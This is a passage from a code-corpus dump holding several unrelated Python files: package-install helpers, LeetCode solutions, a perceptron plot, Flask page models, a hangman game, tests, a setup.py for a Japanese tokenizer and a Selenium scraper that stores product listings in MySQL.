#\"BitTorrent-bencode\",\n]\n\n\nclass Pkg(object):\n    def __init__(self, name):\n        #if isinstance(pkgs, str):\n        #    self.pkgs = [pkgs]\n        #else:\n        #    self.pkgs = pkgs\n        self.name = name\n\n    def install(self):\n        print(\"{}... \".format(self.name), end=\"\")\n        if self.installed:\n            print(\"already installed\")\n        else:\n            run([\"sudo\", \"apt-get\", \"install\", \"-y\", self.name], out=True)\n            print(\"OK\")\n        #clear()\n\n    @property\n    def installed(self):\n        p1 = Popen([\"dpkg\", \"-s\", self.name], stdout=PIPE)\n        p2 = Popen([\"grep\", \"Status\"], stdin=p1.stdout, stdout=PIPE)\n        return b'Status: install ok installed\\n' == p2.communicate()[0]\n\n\nclass PPA(object):\n    def __init__(self, name):\n        if name.startswith(\"ppa:\"):\n            self.name = name[4:]\n        else:\n            self.name = name\n\n    def add(self):\n        if not self.added:\n            run([\"sudo\", \"add-apt-repository\", \"ppa:\"+self.name], out=True)\n            return True\n        return False\n\n    @property\n    def added(self):\n        # grep ^ /etc/apt/sources.list /etc/apt/sources.list.d/* | grep fogger\n        print(self.name)\n        p1 = Popen([\"grep\", \"^\", \"/etc/apt/sources.list\",\n                    #\"/etc/apt/sources.list.d/*\"\n                ], stdout=PIPE)\n        p2 = Popen([\"grep\", self.name], stdin=p1.stdout, stdout=PIPE)\n        #print(p2.returncode)\n        return p2.returncode == 0 or p2.returncode is None\n\n    def __str__(self):\n        return \"ppa:\"+self.name\n\n\nclass Pip(object):\n    def __init__(self, pkgs, env=None):\n        self.env = env\n        if isinstance(pkgs, str):\n            self.pkgs = [pkgs]\n        else:\n            self.pkgs = pkgs\n\n    def install(self):\n        pip = \"pip\" if not self.env else os.path.join(self.env, \"bin\", \"pip\")\n        for pkg in self.pkgs:\n            run([pip, \"install\", pkg])\n            clear()\n\n\nclass NPM(object):\n    \"\"\"Nodejs packages\"\"\"\n    def __init__(self, pkgs):\n        #Pkg(\"npm\").install()\n        Pkg(\"nodejs\").install()\n        if isinstance(pkgs, str):\n            self.pkgs = [pkgs]\n        else:\n            self.pkgs = pkgs\n\n    def install(self):\n        # npm install -g coffee-script\n        for name in self.pkgs:\n            if self.installed1(name):\n                print(name, \"installed\")\n            else:\n                run([\"sudo\", \"npm\", \"install\", \"-g\", name])\n\n    def installed1(self, name):\n        p1 = Popen([\"npm\", \"list\", \"-g\"], stdout=PIPE)\n        p2 = Popen([\"grep\", name], stdin=p1.stdout, stdout=PIPE)\n        return not b'' == p2.communicate()[0]\n\n\nclass Gem(object):\n    \"\"\"Ruby packages\"\"\"\n    def __init__(self, pkgs):\n        if isinstance(pkgs, str):\n            self.pkgs = [pkgs]\n        else:\n            self.pkgs = pkgs\n\n    def install(self):\n        for name in self.pkgs:\n            if self.installed1(name):\n                print(\"gem\", name, \"...\", \"already installed\")\n            else:\n                run([\"sudo\", \"gem\", \"install\", name])\n\n    def installed1(self, name):\n        #gem query --name-matches '^sass$' --installed\n        p = Popen([\"gem\", \"query\", \"--name-matches\",\n                   \"^%s$\" % name, \"--installed\"], stdout=PIPE)\n        #print(\":\", p.communicate()[0])\n        return b'true\\n' == p.communicate()[0]\n","sub_path":"install/packages.py","file_name":"packages.py","file_ext":"py","file_size_in_byte":4582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"135979254","text":"class Solution:\n\tdef canFinish(self, numCourses, prerequisites):\n\t\t\"\"\"\n\t\t:type numCourses: int\n\t\t:type prerequisites: List[List[int]]\n\t\t:rtype: bool\n\t\t\"\"\"\n\n\t\tdic = {}\n\t\tfor i in prerequisites:\n\t\t\tif i[0] not in dic:\n\t\t\t\tdic[i[0]] = []\n\t\t\tdic[i[0]].append(i[1])\n\t\tvisited = []\n\t\tdef dfsWithAncestor(cur, trace):\n\t\t\tif cur in trace:\n\t\t\t\treturn False\n\t\t\tif cur in visited:\n\t\t\t\treturn True\n\t\t\tif cur not in dic:\n\t\t\t\treturn True\n\t\t\tvisited.append(cur)\n\t\t\ta = True\n\t\t\tfor b in dic[cur]:\n\t\t\t\ta = a and dfsWithAncestor(b, trace + [cur])\n\t\t\treturn a\n\t\tdefault = True\n\t\tfor key in dic:\n\t\t\tdefault = default and dfsWithAncestor(key, [])\n\t\treturn default\na = Solution()\nprint(a.canFinish(2, [[1,0],[0,1]]))\nprint(a.canFinish(2, [[1,0]]))\nprint(a.canFinish(3, [[1,0],[1,2],[0,1]]))\nprint(a.canFinish(4, [[0,1],[3,1],[1,3],[3,2]]))\nprint(a.canFinish(3, [[0,1],[0,2],[1,2]]))","sub_path":"207.py","file_name":"207.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"373865838","text":"#\r\n# @lc app=leetcode id=590 lang=python\r\n#\r\n# [590] N-ary Tree Postorder Traversal\r\n#\r\n# https://leetcode.com/problems/n-ary-tree-postorder-traversal/description/\r\n#\r\n# algorithms\r\n# Easy (64.37%)\r\n# Total Accepted:    19.6K\r\n# Total Submissions: 30.4K\r\n# Testcase Example:  '{\"$id\":\"1\",\"children\":[{\"$id\":\"2\",\"children\":[{\"$id\":\"5\",\"children\":[],\"val\":5},{\"$id\":\"6\",\"children\":[],\"val\":6}],\"val\":3},{\"$id\":\"3\",\"children\":[],\"val\":2},{\"$id\":\"4\",\"children\":[],\"val\":4}],\"val\":1}'\r\n#\r\n# Given an n-ary tree, return the postorder traversal of its nodes' values.\r\n#\r\n# For example, given a 3-ary tree:\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n# Return its postorder traversal as: [5,6,3,2,4,1].\r\n#\r\n#\r\n# Note:\r\n#\r\n# Recursive solution is trivial, could you do it iteratively?\r\n#\r\n#\r\n\"\"\"\r\n# Definition for a Node.\r\nclass Node(object):\r\n    def __init__(self, val, children):\r\n        self.val = val\r\n        self.children = children\r\n\"\"\"\r\n\r\n\r\nclass Solution(object):\r\n    def postorder(self, root):\r\n        \"\"\"\r\n        :type root: Node\r\n        :rtype: List[int]\r\n        \"\"\"\r\n        if not root:\r\n            return []\r\n        # reinforced morris traverse, reverse of preorder\r\n        # add a link from parent's current child's leftmost descendant to parent's previous child\r\n        res = []\r\n        while root:\r\n            res.append(root.val)\r\n            if not root.children:\r\n                break\r\n            else:\r\n                for i in range(len(root.children)-1, 0, -1):\r\n                    curChildLeftMostDescendant = root.children[i]\r\n                    while curChildLeftMostDescendant.children:\r\n                        curChildLeftMostDescendant = curChildLeftMostDescendant.children[0]\r\n                    curChildLeftMostDescendant.children = [\r\n                        root.children[i - 1]]\r\n                root = root.children[-1]\r\n        # need to reverse result\r\n        return res[::-1]\r\n","sub_path":"Easy/590.n-ary-tree-postorder-traversal.py","file_name":"590.n-ary-tree-postorder-traversal.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"42248286","text":"'''\nCreated on Apr 8, 2013\n\nlinearly separate random points on the plane [-1,1]X[-1,1]\n \n@author: debajyoti\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n \n#run with more numPoints and less numEpochs for better visualisation \nnumPoints = 10\nnumEpochs = 100\nshowN = 20\naverageIteration = 0\n\n#turn on interactive mode \nplt.ion()\n\n#plot basic axes \nplt.axis([-1, 1, -1, 1])\nplt.axes().set_aspect('equal')\nplt.show()\n \n \n## generate 2 random points to form a line\nlineX = np.random.uniform(-1, 1, 2)\nlineY = np.random.uniform(-1, 1, 2)\n \n\n#form the line using 2-point form method \ndef makeLine(x):\n    return lineX[1] + (lineY[1] - lineX[1]) / (lineY[0] - lineX[0]) * ( x - (lineX[0]))\n \n#plot the line, red\nplt.plot( [-1,1],[makeLine(-1),makeLine(1)] ,'b')\n#ax=fig.add_subplot(2,2,1)\n\n#classify as 1 or -1\ndef classifyPoint(point):\n    if point[2] > makeLine(point[1]):\n        return 1\n    else:\n        return -1\n \n \n\nepoch = 0\nwhile epoch < numEpochs :\n     \n    ## generate sample points\n    points = np.random.uniform(-1,1,(numPoints,2))\n    zeros = np.ones( (numPoints,1) )\n    points = np.append(zeros, points, axis = 1)\n \n    for p in points:\n        if classifyPoint(p) == 1:\n            if(epoch % showN == 0):\n                plt.plot( p[1], p[2], 'bo' )\n        else:\n            if(epoch % showN == 0):\n                plt.plot( p[1], p[2], 'go' )\n \n    plt.draw()\n \n    #initialize weight vector\n    w = np.zeros( 3 )\n \n    iteration = 0\n \n    done = False\n    while not done:\n        iteration += 1\n        wrongPoints = 0\n        print (\"Weights :\" +str(w))\n        #check classification of points, update weights for the first one found to be wrong\n        for p in points:\n            if np.sign( np.dot(w, p) ) != classifyPoint( p ):\n                w = np.add( w, classifyPoint( p ) * p )  \n                wrongPoints += 1\n                break\n        if wrongPoints == 0:\n            print (\"iterations :\"+str(iteration))\n            averageIteration += iteration; \n            done = True\n \n \n            # drawing every Nth final function\n            if(epoch % showN == 0):\n                #print(\"epoch :\", str(epoch))\n                x = np.array( [-1,1] )\n                plt.plot( x, -w[1]/w[2] * x - w[0] / w[2] , 'r' )\n                plt.draw()\n    \n    epoch += 1\n\nprint (\"Average Iteration :\"+ str(averageIteration/numEpochs))","sub_path":"April2013/plaNew.py","file_name":"plaNew.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"639015020","text":"import sys\n\nfrom flask_babel import lazy_gettext as _\nfrom sqlalchemy import event\nfrom typing import Dict, Any, Optional\n\nfrom app import db, get_locale\nfrom app.models.base_model import BaseEntity\n\n\nclass Page(db.Model, BaseEntity):\n    __tablename__ = 'page'\n\n    path = db.Column(db.String(200), unique=True)\n    needs_paid = db.Column(db.Boolean)\n    custom_read_permission = db.Column(db.Boolean)\n\n    type = db.Column(db.String(256))\n\n    def __init__(self, path, type='page'):\n        self.path = path.rstrip('/')\n        self.type = type\n\n        # Store the page's revision class, based upon its type.\n        self.revision_cls = self.get_revision_class()\n\n    def __repr__(self):\n        return '<Page(%s, \"%s\")>' % (self.id, self.path)\n\n    def get_latest_revision(self):\n        \"\"\"Get the latest revision of this page.\"\"\"\n        revision = self.revision_cls.get_query()\\\n            .filter(self.revision_cls.page_id == self.id)\\\n            .order_by(self.revision_cls.id.desc())\\\n            .first()\n\n        return revision\n\n    def get_revision_class(self):\n        \"\"\"Turn a page's type into a revision class.\"\"\"\n        if not self.type:\n            return None\n\n        class_name = '%sRevision' % (self.type.capitalize())\n        try:\n            revision_class = getattr(\n                sys.modules['app.models.%s' % (self.type)], class_name)\n        except AttributeError:\n            return None\n\n        return revision_class\n\n    @staticmethod\n    def strip_path(path):\n        return path.rstrip('/')\n\n\n@event.listens_for(Page, 'load')\ndef set_revision_class(page, context):\n    \"\"\"Calculate revision class.\"\"\"\n    page.revision_cls = page.get_revision_class()\n\n\nclass SuperRevision(db.Model, BaseEntity):\n    \"\"\"\n    Contains all general revision fields, as well as some helper functions.\n\n    Any revision class should inherit from this one.\n    NOTE: I am not able to get a relationship to work with page here, so you\n    will have to implement that yourself.\n    \"\"\"\n\n    __abstract__ = True\n\n    # Things needed in template context.\n    context: Dict[str, Any] = {}\n\n    nl_title = db.Column(db.String(128))\n    en_title = db.Column(db.String(128))\n    comment = db.Column(db.String(1024))\n\n    def __init__(self, nl_title, en_title, comment):\n        self.title = None\n        self.nl_title = nl_title\n        self.en_title = en_title\n        self.comment = comment\n\n    def get_comparable(self):\n        \"\"\"Compare titles, as long as no alternative comparable is given.\"\"\"\n        return self.title\n\n    @classmethod\n    def get_query(cls):\n        return cls.query.order_by(cls.id.desc())\n\n\nclass PageRevision(SuperRevision):\n    __tablename__ = 'page_revision'\n\n    filter_html = db.Column(db.Boolean)\n    nl_content = db.Column(db.Text)\n    en_content = db.Column(db.Text)\n\n    user_id = db.Column(db.Integer, db.ForeignKey('user.id'))\n    user = db.relationship('User', backref=db.backref('page_edits',\n                                                      lazy='dynamic'))\n\n    custom_form_id = db.Column(db.Integer, db.ForeignKey('custom_form.id'))\n    custom_form = db.relationship('CustomForm',\n                                  backref=db.backref('page_revision',\n                                                     lazy='dynamic'))\n\n    page_id = db.Column(db.Integer, db.ForeignKey('page.id'))\n    page = db.relationship('Page', backref=db.backref('page_revisions',\n                                                      lazy='dynamic',\n                                                      cascade='all,delete'))\n\n    def __init__(self, page: Optional[Page], nl_title, en_title, comment, user,\n                 nl_content, en_content, filter_html=True,\n                 custom_form_id=None) -> None:\n        super(PageRevision, self).__init__(nl_title, en_title, comment)\n\n        self.page = page\n\n        self.filter_html = filter_html\n        self.custom_form_id = custom_form_id\n        self.content: Optional[str] = None\n        self.nl_content = nl_content\n        self.en_content = en_content\n        self.user_id = user.id if user else None\n\n    def get_comparable(self):\n        return self.content\n\n\n@event.listens_for(PageRevision, 'load')\ndef set_page_revision_locale(page_rev, context):\n    \"\"\"\n    Load the correct info in the model.\n\n    This function is called after an PageRevision model is filled with data\n    from the database, but before is used in all other code.\n\n    Use the locale of the current user/client to determine which language to\n    display on the whole website. If the users locale is unavailable, select\n    the alternative language, suffixing the title of the activity with the\n    displayed language.\n    \"\"\"\n    locale = get_locale()\n    nl_available = page_rev.nl_title and page_rev.nl_content\n    en_available = page_rev.en_title and page_rev.en_content\n    if locale == 'nl' and nl_available:\n        page_rev.title = page_rev.nl_title\n        page_rev.content = page_rev.nl_content\n    elif locale == 'en' and en_available:\n        page_rev.title = page_rev.en_title\n        page_rev.content = page_rev.en_content\n    elif nl_available:\n        page_rev.title = page_rev.nl_title + \" (\" + _('Dutch') + \")\"\n        page_rev.content = page_rev.nl_content\n    elif en_available:\n        page_rev.title = page_rev.en_title + \" (\" + _('English') + \")\"\n        page_rev.content = page_rev.en_content\n    else:\n        page_rev.title = 'N/A'\n        page_rev.content = 'N/A'\n\n\nclass PageReadPermission(db.Model, BaseEntity):\n    \"\"\"Contains page group combinations with use custom read permissions.\"\"\"\n\n    group_id = db.Column(db.Integer, db.ForeignKey('group.id'))\n    group = db.relationship('Group')\n\n    page = db.relationship('Page')\n    page_id = db.Column(db.Integer, db.ForeignKey('page.id'))\n","sub_path":"app/models/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":5789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"337103255","text":"import speedtest,time \r\nfrom random import randint\r\nst = speedtest.Speedtest()\r\n\r\ndef getDownloadSpeed():\r\n\tspeed=st.download()\r\n\tspeed=speed/8388608\r\n\treturn [speed,time.time()]\r\n\t\r\n\r\ndef getUploadSpeed():\r\n\tspeed=st.upload()\r\n\tspeed=speed/8388608\r\n\treturn [speed,time.time()]\r\n\r\ndef getPing():\r\n\treturn st.results.ping\r\n\r\n\r\ndef getServer():\r\n\tservernames =[] \r\n\tservers=st.get_servers() \r\n\tprint(\"===Server Info===\")\r\n\tconfig=st.get_config()\r\n\tx=config.get(\"client\")\r\n\treturn x\r\n","sub_path":"Script/speedt.py","file_name":"speedt.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"526211518","text":"import random\nimport string\n\n\"\"\"\nDescription: A simple command line hangman program\nAuthor: Annapoorna Shastry\n\"\"\"\n\ndef loadWords():\n    print(\"Loading word list from file...\")\n    # inFile: file\n    inFile = open(\"H:\\\\hobby_projects\\\\words.txt\", 'r', 0)\n    # line: string\n    line = inFile.readline()\n    # wordlist: list of strings\n    wordlist = string.split(line)\n    print(\"  \", len(wordlist), \"words loaded.\")\n    return wordlist\n\ndef chooseWord(wordlist):\n    return random.choice(wordlist)\n\ndef getGuessedWord(secretWord, lettersGuessed):\n    word = ''\n    for char in secretWord:\n        if char in lettersGuessed:\n            word = word + char\n        else:\n            word = word + \"_ \"\n    return word\n\ndef getAvailableLetters(lettersGuessed):\n    s = string.ascii_lowercase\n    for char in lettersGuessed:\n        if char in s:\n            s = s.replace(char, '')\n    return s\n    \ndef hangman(secretWord):\n    print(\"I am thinking of a word that is \" + str(len(secretWord)) + \" letters long.\")\n    print(\"-------------\")\n    guessesLeft = 8\n    count = len(secretWord)\n    lettersGuessed = []\n    while guessesLeft > 0 and count > 0:\n        secret = secretWord\n        print(\"You have \" + str(guessesLeft) + \" guesses left.\")\n        print(\"Available letters: \" + getAvailableLetters(lettersGuessed))\n        guess = input(\"Please guess a letter: \")\n        guess = guess.lower()\n        if guess.isalpha() and len(guess) == 1:\n            if guess in lettersGuessed:\n                print(\"Oops! You've already guessed that letter: \" + getGuessedWord(secretWord, lettersGuessed))\n                print(\"------------\")\n            else :\n                lettersGuessed.append(guess)\n                if guess in secretWord:\n                    #lettersGuessed.append(guess)\n                    print(\"Good guess: \" + getGuessedWord(secretWord, lettersGuessed))\n                    print(\"------------\")\n                    while secret.find(guess) >= 0:\n                        count -= 1\n                        secret = secret[secret.find(guess)+1:]\n                else :\n                    #lettersGuessed.append(guess)\n                    print(\"Oops! That letter is not in my word: \" + getGuessedWord(secretWord, lettersGuessed))\n                    guessesLeft -= 1\n                    print(\"-----------\")\n            if guessesLeft == 0:\n                print(\"Sorry, you ran out of guesses. The word was \" + secretWord + \" :(\")\n                print(\"-----------\")\n                print()\n            elif count == 0:\n                print(\"Congratulations, you won! :D\")\n                print(\"-----------\")\n                print()\n\nWORDLIST_FILENAME = \"H:\\\\hobby_projects\\\\words.txt\"\nwordlist = loadWords()\n\nprint(\"****** WELCOME TO THE GAME, HANGMAN! ******\")\nwhile True:\n    choice = input(\"Please enter 'c' to play/continue and q to quit: \")\n    choice = choice.lower()\n    if  choice == 'c':\n        secretWord = chooseWord(wordlist).lower()\n        hangman(secretWord)\n    elif choice == 'q':\n        break\n    else:\n        print(\"Oops! I didn't get what you said..\")\n","sub_path":"Hangman.py","file_name":"Hangman.py","file_ext":"py","file_size_in_byte":3104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"466761270","text":"# -*- coding: utf-8 -*-\nimport os\nimport codecs\nimport shutil\nimport unittest\nimport tempfile\nimport contextlib\n\nfrom requires_io.main import Config, require_io_re, _to_urls\n\n\nclass Repository(object):\n\n    def __init__(self, name):\n        self.name = name\n        self.root = None\n\n    @contextlib.contextmanager\n    def context(self):\n        tmp = tempfile.mkdtemp()\n        try:\n            self.root = os.path.join(tmp, self.name)\n            yield self\n        finally:\n            shutil.rmtree(tmp)\n            self.root = None\n\n    def write(self, filename, content, **kwargs):\n        path = os.path.normpath(os.path.join(self.root, filename))\n        fld = os.path.dirname(path)\n        if not os.path.exists(fld):\n            os.makedirs(fld)\n        with codecs.open(path, kwargs.pop('mode', 'w'), **kwargs) as fd:\n            fd.write(content)\n            if kwargs.get('clrf', True):\n                if not content.endswith('\\n'):\n                    fd.write('\\n')\n\n\nclass TestCase(unittest.TestCase):\n\n    def assertIsNotNone(self, val):   # missing in 2.6\n        self.assertTrue(val is not None)\n\n    def test_re(self):\n        self.assertIsNotNone(require_io_re.search('/foo/bar/setup.py'))\n        self.assertIsNotNone(require_io_re.search('/foo/bar/tox.ini'))\n        self.assertIsNotNone(require_io_re.search('/foo/bar/buildout.cfg'))\n        self.assertIsNotNone(require_io_re.search('/foo/bar/versions.cfg'))\n        self.assertIsNotNone(require_io_re.search('/foo/bar/requirements.txt'))\n        self.assertIsNotNone(require_io_re.search('/foo/bar/requirements.pip'))\n        self.assertIsNotNone(require_io_re.search('/foo/bar/requirements/prod.txt'))\n        self.assertIsNotNone(require_io_re.search('/foo/bar/requirements/test.pip'))\n\n    def test_to_url(self):\n        self.assertEquals([], _to_urls([]))\n        self.assertEquals(['setup.py'], _to_urls(['/foo/bar/setup.py']))\n        self.assertEquals(\n            ['setup.py', 'requirements/prod.txt'],\n            _to_urls(['/foo/bar/setup.py', '/foo/bar/requirements/prod.txt']),\n        )\n\n    def assertPaths(self, repository, paths, raw_paths):\n        config = Config({}, raw_paths)\n        self.assertEquals(paths, config.paths)\n\n    def test_paths(self):\n        repository = Repository('foo')\n        with repository.context():\n            repository.write('setup.py', 'hello')\n            repository.write('foobar.txt', 'hello')\n            self.assertPaths(repository, set([os.path.join(repository.root, 'setup.py')]), [repository.root, ])\n            self.assertPaths(\n                repository,\n                set([os.path.join(repository.root, 'foobar.txt')]),\n                [os.path.join(repository.root, '*.txt'), ],\n            )\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"requires_io/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"261446284","text":"#! -*- coding: utf-8 -*-\nfrom setuptools import setup, find_packages\nimport sys\nimport pip\n\npython_version = sys.version_info\n\n\n# check required libraries\ndev_extras = ['pyknp']\ndependency_links = ['http://nlp.ist.i.kyoto-u.ac.jp/DLcounter/lime.cgi?down=http://lotus.kuee.kyoto-u.ac.jp/nl-resource/pyknp/pyknp-0.3.tar.gz&name=pyknp-0.3.tar.gz']\n\n# Try to install packages not controlled by pip\nfor package_url in dependency_links: pip.main(['install', package_url])\n\nif python_version >= (3, 0, 0):\n    install_requires = ['pypandoc', 'future', 'six', 'mecab-python3', 'jaconv>=0.2', 'pyknp', 'kytea', 'pip>=8.1.0', 'typing']\nelse:\n    install_requires = ['pypandoc', 'future', 'six', 'mecab-python', 'jaconv>=0.2', 'pyknp', 'kytea', 'pip>=8.1.0', 'typing']\n\nversion = '1.2.7'\nname = 'JapaneseTokenizer'\nshort_description = '`JapaneseTokenizer` is a package for easy Japanese Tokenization'\n\ntry:\n    import pypandoc\n    long_description = pypandoc.convert('README.md', 'rst')\nexcept(IOError, ImportError):\n    long_description = open('README.md').read()\n\nclassifiers = [\n        \"Development Status :: 5 - Production/Stable\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Programming Language :: Python\",\n        \"Natural Language :: Japanese\",\n        \"Topic :: Scientific/Engineering :: Artificial Intelligence\",\n        \"Programming Language :: Python :: 2.7\",\n        \"Programming Language :: Python :: 3.5\"\n        ]\n\nsetup(\n    author='Kensuke Mitsuzawa',\n    author_email='kensuke.mit@gmail.com',\n    name = name,\n    version=version,\n    short_description=short_description,\n    long_description=long_description,\n    keywords = ['MeCab', '和布蕪', 'Juman',\n                'Japanese morphological analyzer', 'NLP', '形態素解析', '自然言語処理'],\n    license = \"MIT\",\n    url = \"https://github.com/Kensuke-Mitsuzawa/JapaneseTokenizers\",\n    test_suite='test.test_all.suite',\n    install_requires = install_requires,\n    dependency_links=dependency_links,\n    packages=find_packages(),\n    extras_require=dict(\n        dev=dev_extras,\n    )\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"575638954","text":"import random\nimport re\nimport time\nimport bs4\nimport xlrd\nimport pymysql\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\n\ndef s(a,b):\n    t=random.randint(a,b)\n    time.sleep(t)\n\ndef company_info():\n    company_name=\"正泰\"\n    return company_name\n\n\ndef login_url(uid,pwd):\n    driver.find_element_by_css_selector('.login-text.m-top5.act-bg.J_userName').send_keys(uid)\n    driver.find_element_by_css_selector('.login-text.m-top5.psw-bg.J_psw').send_keys(pwd)\n    driver.find_element_by_css_selector('.login-save.m-top10.ft20.cursor.J_loginIn').click()\n    s(3,5)\n\ndef get_main_data_bak(company_name,url):\n    J_searchLists=driver.find_elements_by_xpath(\"//div[@class='J_searchList']/ul\")\n    for Searchlist in J_searchLists:\n        img_url=Searchlist.find_element_by_xpath(\"./li[@class='a']/a/img\").get_attribute('src')\n        prt_name=Searchlist.find_element_by_xpath(\"./li[@class='b lh tl']/a\").text\n\n        prt_url =Searchlist.find_element_by_xpath(\"./li[@class='b lh tl']/a\").get_attribute('href')\n        prt_id = prt_url[prt_url.index(\"product/\") + 8:100]\n        prt_type=Searchlist.find_elements_by_xpath(\"./li[@class='b lh tl']/div\")[0].text\n        order = Searchlist.find_elements_by_xpath(\"./li[@class='b lh tl']/div\")[1].text\n        try:\n            price=Searchlist.find_element_by_xpath(\"./li[@class='e lh tl']/div[@class='search-active']/span[@class='a']\").text\n        except:\n            price=\"\"\n        try:\n            market_price = Searchlist.find_element_by_xpath(\"./li[@class='e lh tl']/div[@class='search-active']/span[@class='b']\").text\n        except:\n            market_price=\"\"\n        stock=Searchlist.find_element_by_xpath(\"./li[@class='f']\").text\n        print(img_url,prt_id,prt_name,prt_url,prt_type,order,price,market_price,stock)\n        insert_data1(company_name,prt_id,prt_name,prt_url,prt_type,order,price,market_price,stock,url)\n\ndef get_main_data(company_name,table_id):\n    page_num=1\n    while 1==1:\n        J_searchLists = driver.find_elements_by_xpath(\"//div[@class='J_searchList']/ul\")\n        for Searchlist in J_searchLists:\n            img_url = Searchlist.find_element_by_xpath(\"./li[@class='a']/a/img\").get_attribute('src')\n            prt_name = Searchlist.find_element_by_xpath(\"./li[@class='b lh tl']/a\").text\n\n            prt_url = Searchlist.find_element_by_xpath(\"./li[@class='b lh tl']/a\").get_attribute('href')\n            prt_id = prt_url[prt_url.index(\"product/\") + 8:100]\n            prt_type = Searchlist.find_elements_by_xpath(\"./li[@class='b lh tl']/div\")[0].text\n            order = Searchlist.find_elements_by_xpath(\"./li[@class='b lh tl']/div\")[1].text\n            try:\n                price = Searchlist.find_element_by_xpath(\n                    \"./li[@class='e lh tl']/div[@class='search-active']/span[@class='a']\").text\n            except:\n                price = \"\"\n            try:\n                market_price = Searchlist.find_element_by_xpath(\n                    \"./li[@class='e lh tl']/div[@class='search-active']/span[@class='b']\").text\n            except:\n                market_price = \"\"\n            stock = Searchlist.find_element_by_xpath(\"./li[@class='f']\").text\n            #print(img_url, prt_id, prt_name, prt_url, prt_type, order, price, market_price, stock)\n            insert_data1(company_name, prt_id, prt_name, prt_url, prt_type, order, price, market_price, stock, table_id)\n\n        try:\n            page_num += 1\n            print(\"翻页-%s\"%str(page_num))\n            driver.find_element_by_xpath(\n                \"//div[@class='saas-paging J_paging']/a[@class='J_page_turn'][@page-id='\" + str(\n                    page_num) + \"']\").click()\n            s(5,7)\n        except NoSuchElementException as e:\n            print(e)\n            break\n\n\n\n\ndef insert_data1(company_name,prt_id,prt_name,prt_url,prt_type,order,price,market_price,stock,table_id):\n    #company_name=company_info()\n    db = pymysql.connect(\"localhost\", \"root\", \"123456\", \"vipmro\")\n    # 使用 cursor() 方法创建一个游标对象 cursor\n    cursor = db.cursor()\n    db.set_charset(\"utf8\")\n    cursor.execute(\"SET NAMES utf8;\")\n    cursor.execute(\"SET CHARACTER SET utf8;\")\n    cursor.execute(\"SET character_set_connection=utf8;\")\n\n    sql=\"insert into vipmro_net_data (company_name,prt_id,prt_name,prt_url,prt_type,order_,price,market_price,stock,cate_id)\"\\\n        \"values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')\"\\\n        %(company_name,prt_id,prt_name,prt_url,prt_type,order,price,market_price,stock,table_id)\n    try:\n        # 执行sql语句\n        cursor.execute(sql)\n        # 提交到数据库执行\n        db.commit()\n        # print(prt_name+'--------2-finished')\n    except Exception as err:\n        # 如果发生错误则回滚\n        db.rollback()\n        print('---------------Error------Message--------:' + str(err))\n    # 关闭数据库连接\n    db.close()\n\n\ndef next_page(j):\n    s(3, 5)\n    xpath_data=\"//div[@class='saas-paging J_paging']/a[@class='J_page_turn'][@page-id='\"+str(j+2)+\"']\"\n    print(xpath_data)\n    driver.find_element_by_xpath(xpath_data).click()\n    s(3, 6)\n\ndef get_url_status():\n    #company_name=company_info()\n    db = pymysql.connect(\"localhost\",\"root\",\"123456\",\"vipmro\",charset=\"utf8\" )\n    # 使用 cursor() 方法创建一个游标对象 cursor\n    cursor = db.cursor()\n    sql=\"select table_id,case when  cate_2_url='' then cate_1_url else cate_2_url end as url,company_name from vipmro_net_url where status=0  order by table_id  \"\n\n    try:\n        execute=cursor.execute(sql)\n        data=cursor.fetchmany(execute)\n        return data\n    except Exception as err:\n        # 如果发生错误则回滚\n        db.rollback()\n        print('---------------Error------Message--------:' + str(err))\n    # 关闭数据库连接\n    db.close()\n    cursor.close()\n\ndef update_status_to_run_log(table_id):\n    db = pymysql.connect(\"localhost\",\"root\",\"123456\",\"vipmro\",charset=\"utf8\" )\n    # 使用 cursor() 方法创建一个游标对象 cursor\n    cursor = db.cursor()\n    # 使用 execute()  方法执行 SQL 查询\n    sql=\"update vipmro_net_url  set status=1 where table_id='%s' \" \\\n        % (table_id)\n    try:\n        cursor.execute(sql)\n        db.commit()\n    except Exception as err:\n        db.rollback()\n        print('---------------Error------Message--------:'+str(err))\n    db.close()\n    cursor.close()\n\ndef find_series(num):\n    series_names=[]\n    series_urls=[]\n    series_tmp= driver.find_elements_by_css_selector('.b.p-left10.no-border')\n    series_info_div = driver.find_elements_by_css_selector('.b.p-left10.no-border')[num]\n    series_info=series_info_div.find_elements_by_tag_name('a')\n    print(\"%s个分支\"%str(len(series_info)))\n\n    for i in range(len(series_info)):\n        series_name=series_info[i].text\n        series_url=series_info[i].get_attribute('href')\n        #print(series_name,series_url)\n        series_names.append(series_name)\n        series_urls.append(series_url)\n    return series_names,series_urls\n\n\nif __name__==\"__main__\":\n    browser = \"Firefox\"\n\n    if browser == \"Chrome\":\n        options = webdriver.ChromeOptions()\n        # options.add_experimental_option(\"excludeSwitches\", [\"ignore-certificate-errors\"]) #去掉不受支持的命令行标记\n        options.add_argument('--user-data-dir=C:/Users/CC-SERVER/AppData/Local/Google/Chrome/User Data/Default')  # 设置成用户自己的数据目录\n        driver = 